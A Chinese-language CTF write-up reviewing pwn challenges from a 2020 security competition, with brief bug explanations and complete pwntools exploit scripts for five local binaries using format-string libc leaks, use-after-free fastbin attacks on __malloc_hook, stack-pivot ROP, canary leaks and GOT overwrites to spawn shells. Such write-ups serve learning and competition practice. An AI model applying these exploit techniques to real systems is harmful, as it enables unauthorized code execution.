2020信息安全铁人三项 pwn复盘
第一赛区
hacknote
程序存在格式化字符串漏洞和uaf,不多说了,很简单。
1 from pwn import * 2 3 p = process('./hacknote') 4 elf = ELF('./hacknote') 5 libc = ELF('./libc.so.6') 6 context.log_level = 'debug' 7 #by bhxdn 8 9 def duan(): 10 gdb.attach(p) 11 pause() 12 13 def add(size,content): 14 p.sendlineafter('choice :','1') 15 p.sendlineafter('size :',str(size)) 16 p.sendafter('Content :',content) 17 18 def delete(index): 19 p.sendlineafter('choice :','2') 20 p.sendlineafter('Index :',str(index)) 21 22 def show(index): 23 p.sendlineafter('choice :','3') 24 p.sendlineafter('Index :',str(index)) 25 26 #leak libc_base 27 p.sendafter('name!\n','%13$p') 28 p.recvuntil('hello ,') 29 libc_base = int(p.recv(14),16)-240-libc.symbols['__libc_start_main'] 30 print 'libc_base-->' + hex(libc_base) 31 shell = libc_base + 0x45226 32 33 add(0x20,'aaaaaaaa') 34 add(0x20,'bbbbbbbb') 35 delete(0) 36 delete(1) 37 add(0x10,p64(shell)) 38 show(0) 39 p.interactive()
heap
同样是存在格式化字符串漏洞和uaf漏洞。
说一下格式化字符串漏洞泄露libc吧。
这里我直接看偏移为25的值。然后pwndbg看栈的情况,我直接stack 300看栈情况。然后放到文本中去找。
25偏移下面那个箭头,所以__libc_start_main+240就是偏移19。所以就%19$p就可以leak libc版本和地址了。
程序存在uaf漏洞,fastbins attack来攻击__malloc__hook,这里还需要利用realloc来调整一下栈帧来让one_gadget生效。
1 from pwn import * 2 3 p = process('./heap') 4 elf = ELF('./heap') 5 libc = ELF('./libc.so.6') 6 context.log_level = 'debug' 7 #by bhxdn 8 9 def duan(): 10 gdb.attach(p) 11 pause() 12 13 def add(size): 14 p.sendlineafter('choice: ','1') 15 p.sendlineafter('item: ',str(size)) 16 17 def delete(index): 18 p.sendlineafter('choice: ','4') 19 p.sendlineafter('item: ',str(index)) 20 21 def edit(index,content): 22 p.sendlineafter('choice: ','3') 23 p.sendlineafter('item: ',str(index)) 24 p.sendafter('data: ',content) 25 26 def show(index): 27 p.sendlineafter('choice: ','2') 28 p.sendlineafter('item: ',str(index)) 29 30 31 #leak libc_base 32 p.sendafter('name: ','%19$p') 33 p.recvuntil('Hello, ') 34 libc_base = int(p.recv(14),16)-240-libc.symbols['__libc_start_main'] 35 print 'pianyi-->' + hex(libc.symbols['__libc_start_main']) 36 print 'libc_base-->' + hex(libc_base) 37 shell = libc_base + 0x4527a 38 39 add(0x20) #0 40 add(0x60) #1 41 delete(1) 42 edit(1,p64(libc_base+libc.symbols['__malloc_hook']-0x23)) 43 add(0x60) #1 2 44 add(0x60) #attack 45 edit(3,'a'*(0x13-8)+p64(shell)+p64(libc_base+libc.symbols['realloc']+0xc)) 46 add(0x60) 47 p.interactive()
第二赛区
stackstorm
可以往堆写入两次数据(但似乎并没有什么用),可以栈溢出,但是只能溢出0x10字节。
利用第一次溢出泄露栈地址,然后第二次在栈上布置rop,利用栈转移迁移到我们布置的rop链上,leak了libc地址,然后返回到main函数,直接将返回地址覆盖成one_gadget就可以了。
1 from pwn import * 2 3 p = process('./stackstorm') 4 elf = ELF('./stackstorm') 5 libc = ELF('./libc.so.6') 6 context.log_level = 'debug' 7 8 pop_rdi = 0x00400903 9 leave_ret = 0x04007C1 10 buf = elf.bss()+0x100 11 main = 0x04007C3 12 13 p.sendafter('data1:\n','bhxdn') 14 payload = 'a'*(0x70-1)+'b' 15 p.sendafter('data2:\n',payload) 16 p.recvuntil('b') 17 stack_addr = u64(p.recv(6).ljust(8,'\x00')) 18 print 'stack_addr-->' + hex(stack_addr) 19 20 p.sendafter('data1:\n','bhxdn') 21 payload = 'aaaaaaaa' + p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main)+p64(0)*9+p64(stack_addr-0x20-0x70)+p64(leave_ret) 22 p.sendafter('data2:\n',payload) 23 p.recv(12) 24 libc_base = u64(p.recv(6).ljust(8,'\x00'))-libc.symbols['puts'] 25 print 'libc_base-->'+hex(libc_base) 26 shell = libc_base+0x4527a 27 28 payload = 'a'*0x70+'bbbbbbbb'+p64(shell) 29 p.send('bhxdn') 30 p.sendafter('data2:\n',payload) 31 p.interactive()
第三赛区
待更新
第四赛区
namepie
程序本身有system("/bin/sh"),两个输入,可以利用第一个输入leak canary。
图片可以看到rbp下面是程序本身的地址。开启pie 的程序,后三位是不会变的,所以只覆盖最后一个字节,覆盖成shell的字节,就拿到shell了。
exp:
1 from pwn import * 2 3 elf = ELF('./namepie') 4 context.log_level = 'debug' 5 6 shell = 0x000A71 7 8 p = process('./namepie') 9 p.recvuntil('Name:\n') 10 p.send('a'*0x28+'b') 11 p.recvuntil('b') 12 canary = u64(p.recv(7).rjust(8,'\x00')) 13 print 'canary-->' + hex(canary) 14 p.recv() 15 p.send('a'*0x28+p64(canary)+'bbbbbbbb'+'\x71') 16 p.sendline('ls') 17 p.recvuntil('namepie') 18 p.interactive()
onetime
是一道菜单堆题。调试的时候发现bss段上有7f。
存在uaf,先malloc一个chunk,再free掉,修改fd为bss段上的地址。然后再申请两次申请回来。这时候就可以控制bss上的数据,并且有一个可以读写的指针。
将指针指向malloc_got,泄露libc地址,然后修改malloc_got为one_gadget的地址,再执行malloc就拿到shell了。
1 from pwn import * 2 3 p = process('./pwn') 4 elf = ELF('./pwn') 5 libc = ELF('./libc.so.6') 6 context.log_level = 'debug' 7 8 def duan(): 9 gdb.attach(p) 10 pause() 11 12 def add(): 13 p.sendlineafter('choice >>\n','1') 14 15 def edit(content): 16 p.sendlineafter('choice >>\n','2') 17 p.sendafter('content:',content) 18 19 def show(): 20 p.sendlineafter('choice >>\n','3') 21 22 def delete(): 23 p.sendlineafter('choice >>\n','4') 24 25 def gift(content): 26 p.sendlineafter('choice >>\n','5') 27 p.sendafter('name:',content) 28 29 attack_addr = 0x0006020BC-0x2f 30 #x/32gx 0x0006020BC-0x24 31 add() 32 delete() 33 edit(p64(attack_addr)) 34 add() 35 gift('a'*11+p64(elf.got['malloc'])+p32(100)+p32(100)+p32(100)+p32(100)) 36 37 show() 38 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.symbols['malloc'] 39 print 'libc_base-->' + hex(libc_base) 40 shell = libc_base + 0x45226 41 42 43 edit(p64(shell)) 44 add() 45 p.interactive()